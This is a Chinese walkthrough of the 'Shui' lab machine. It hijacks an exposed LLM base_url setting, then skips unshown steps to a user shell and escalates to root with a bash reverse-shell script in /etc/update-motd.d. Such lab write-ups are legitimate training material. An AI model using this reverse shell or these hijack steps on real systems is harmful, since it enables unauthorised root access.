

Shu*i*

成功添加靶机: Shui
作者: 群主 (QQ: 1045670921)
靶机ID: 760
系统: Linux
难度: Easy



靶机ip是192.168.56.154

入口分析

```
(root@kali)-[~]
└─# nmap -A -sV -T4 -p- 192.168.56.154

Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-11 20:08 +0800

Nmap scan report for 192.168.56.154

Host is up (0.00053s latency).

Not shown: 65533 closed tcp ports (reset)

PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 10.0p2 Debian 7+deb13u4 (protocol 2.0)
8000/tcp   open  http      Unicorn

|_http-title: OSCP
|x7\xBA\xB8\xE4\xB8\x8A\xE6\x8E\xA8\xE6\xBC\x94\xE8\xAE\xAD\xE7\xBB\x83\xE7\xB3\xBB\xE7\xBB\x9F
|_http-server-header: unicorn
|_http-cors: HEAD GET POST PUT DELETE OPTIONS PATCH

MAC Address: 08:00:27:25:F3:B3 (Oracle VirtualBox virtual NIC)

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.99E=4D=9/11OT=22CT=1%CU=34560PV=Y%DS=1%DC=D%G=Y%M=080027T
OS:M=6AA3EF60P=x86_64-pc-linux-gnu)SEQ(SP=103GCD=1%ISR=107%TI=Z%CI=Z%TS=2
```

```
OS:1)SEQ(SP=103%GCD=1%ISR=108%TI=Z%CI=Z%TS=21)SEQ(SP=105%GCD=1%ISR=10A%TI=Z
OS:%CI=Z%II=I%TS=21)SEQ(SP=106%GCD=1%ISR=106%TI=Z%CI=Z%II=I%TS=21)SEQ(SP=10
OS:7%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=21)OPS(O1=M5B4ST11NW8%O2=M5B4ST11NW8%O
OS:3=M5B4NNT11NW8%O4=M5B4ST11NW8%O5=M5B4ST11NW8%O6=M5B4ST11)WIN(W1=FE88%W2=
OS:FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSN
OS:W8%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%D
OS:F=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O
OS:=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W
OS:=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%R
OS:IPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
```

查看8000http页面，看到推演终端

OSCP Paper Lab

输入特工代号以接入推演终端。

特工代号 (Operator Handle)

hack3r

初始化会话 (Initialize Session)

SECURE TERMINAL ACCESS

dirsearch扫描到openapi.json，查看发现是接口文档

```
[20:09:45] Starting:
[20:10:03] 200 - 12KB - /openapi.json
```

测试接口发现/api/setup_token会存在写入config.json的行为

```
"/api/setup_token": {
  "post": {
    "summary": "Setup Token",
    "description": "管理员在前端输入 API Token → 写入 config.json(0600)→ 热重建 LLM 客户端",
    "operationId": "setup_token_api_setup_token_post",
    "requestBody": {
      "content": { "application/json": { "schema": { "$ref": "#/components/schemas/SetupTokenPayload" } } },
      "required": true
    },
    "responses": { "200": { "description": "Successful Response",
                          "content": { "application/json": { "schema": { } } } },
                  "422": { "description": "Validation Error", ... } }
  }
}
```

同时检查/api/status

```
curl -s http://192.168.56.154:8000/api/status
{"configured":false,"model":"","base_url":""}
```

能发现初始阶段是配置失败且存在base_url字段

这里根据/api/setup_token的description信息说明写入配置后会热重建LLM客户端，可以劫持base_url地址为攻击机地址，然后使用/api/evaluate触发LLM服务器访问

这里nc启动监听后该配置后触发即可得到客户端的请求包

改配置

```
curl -s -X POST http://192.168.56.154:8000/api/setup_token -H 'Content-Type: application/json' \
-d '{"api_key":"sk-111-123","base_url":"http://192.168.56.102:9001/v1","model":"gpt-4o"}
```

触发

```
curl -s -X POST http://192.168.56.154:8000/api/evaluate -H 'Content-Type: application/json' \
-d '{"lab_id":"Shui","username":"tester","answers":{"student_writeup":"x"}}'
```

```
(root@kali) - [~]
# curl -s -X POST http://192.168.56.154:8000/api/setup_token -H 'Content-Type: application/json' \
-d '{"api_key":"sk-test-12","base_url":"http://192.168.56.102:9001/v1","model":"gpt-4o"}'
{"status":"ok","configured":true,"model":"gpt-4o"}

(root@kali) - [~]
# curl -s -X POST http://192.168.56.154:8000/api/evaluate -H 'Content-Type: application/json' \
-d '{"lab_id":"Shui","username":"tester","answers":{"student_writeup":"x"}}'
{"detail":"AI 判卷通信故障: Connection error."}
```



```

kaishui@Shui:~$ find / -group 50
find: '/lost+found': Permission denied
find: '/tmp/systemd-private-2b2b35b5f11e4736b8b374a52073d725-systemd-logind.service-QUIj10': Permission denied
find: '/sys/kernel/tracing': Permission denied
find: '/sys/kernel/debug': Permission denied
find: '/sys/fs/pstore': Permission denied
find: '/sys/fs/bpf': Permission denied
find: '/var/log/private': Permission denied
find: '/var/cache/private': Permission denied
find: '/var/cache/apparmor/ac27e0ee.0': Permission denied
find: '/var/cache/ldconfig': Permission denied
find: '/var/cache/apt/archives/partial': Permission denied
find: '/var/tmp/systemd-private-2b2b35b5f11e4736b8b374a52073d725-systemd-logind.service-GsTXIB': Permission denied
find: '/var/spool/cron/crontabs': Permission denied
find: '/var/lib/private': Permission denied
find: '/var/lib/apt/lists/partial': Permission denied
find: '/etc/credstore.encrypted': Permission denied
find: '/etc/credstore': Permission denied
find: '/etc/ssl/private': Permission denied
/etc/update-motd.d
find: '/run/user/1000/systemd/inaccessible/dir': Permission denied
find: '/run/sudo': Permission denied

```

只有一个 `/etc/update-motd.d`

```

kaishui@Shui:/etc/update-motd.d$ ls -ld /etc/update-motd.d
drwxrwsr-x 2 root staff 4096 Sep 11 07:49 /etc/update-motd.d

```

检查发现可写，`.d = drop-in directory`（投递目录） ai一下这个目录会被什么程序调用

`/etc/update-motd.d` 目录详解

是什么

`/etc/update-motd.d` 是 **Debian / Ubuntu** 系列 **Linux** 特有的系统目录，是 `update-motd` 动态欢迎消息框架的核心，用来存放生成登录欢迎页（**MOTD**）的可执行脚本。

MOTD = Message Of The Day，即用户通过 SSH 或本地终端登录系统时，在命令行上方显示的系统提示 / 欢迎信息。传统 Linux 只用静态文件 `/etc/motd`，而 Ubuntu/Debian 用这个目录实现了内容动态生成。

核心工作原理

- 触发时机：**用户登录系统时，PAM 认证模块 `pam_motd`（配置在 `/etc/pam.d/login`、`/etc/pam.d/sshd` 中）会触发执行该目录下的脚本。
- 执行规则：**
 - 由 `run-parts` 工具按**文件名升序**执行所有可执行脚本
 - 规范命名格式为 `NN-脚本名`（两位数字前缀 + 名称），数字越小执行优先级越高
 - 脚本**不能带文件扩展名**（符合 LSB 系统初始化规范）
- 输出结果：**所有脚本的标准输出会按顺序拼接，最终写入 `/run/motd.dynamic`，显示在登录终端上。

验证PAM会在每次SSH登录时调用脚本

```

kaishui@Shui:/etc/update-motd.d$ grep -rn "motd" /etc/pam.d/
/etc/pam.d/login:31:# This includes a dynamically generated part from /run/motd.dynamic
/etc/pam.d/login:32:# and a static (admin-editable) part from /etc/motd.
/etc/pam.d/login:33:session    optional    pam_motd.so    motd=/run/motd.dynamic

```

这里还要检查一下PAM的session栈是不是root

```
kaishui@Shui:/etc/update-motd.d$ ps aux | grep 'sshd'
root      410  0.0  0.3 11776  7988 ?        Ss   07:39   0:00 sshd: /usr/sbin/sshd -D [listener] 0 of 10-
100 startups
```

sshd 是 root。而 PAM 的 session 栈是在会话建立阶段执行的——也就是 sshd 把身份切换成 kaishui 之前。所以栈里的 pam_motd 是 root 身份

```
sshd 主进程 (root)
├─ fork 子进程处理本次连接
│   ├── auth 栈      ← root 身份, 验证密码
│   ├── account 栈   ← root 身份, 检查是否允许登录
│   ├── 【决定放行】
│   ├── session 栈   ← ★ 仍然是 root 身份 ★
│   │   ├── pam_loginuid.so
│   │   ├── pam_motd.so → run-parts /etc/update-motd.d
│   │   ├── pam_env.so
│   │   └── ...
│   └─ setuid(kaishui) / setgid(...) ← 到这里才降权
└─ exec /bin/bash          ← 用户 shell 以普通用户身份运行
```

这里按照命名规则创建反弹shell即可提权

```
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.56.102/4444 0>&1 &
```

```
kaishui@Shui:/etc/update-motd.d$ touch 11-bash
kaishui@Shui:/etc/update-motd.d$ chmod +x 11-bash
kaishui@Shui:/etc/update-motd.d$ |
```

```
(root@kali)-[~]
# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.154] 34018
bash: cannot set terminal process group (2166): Inappropriate ioctl for device
bash: no job control in this shell
root@Shui:/# cat /root/root.txt
cat /root/root.txt
flag{root-a310b063e7f4e2cffab867bddf0e8d1a}
root@Shui:/# |
```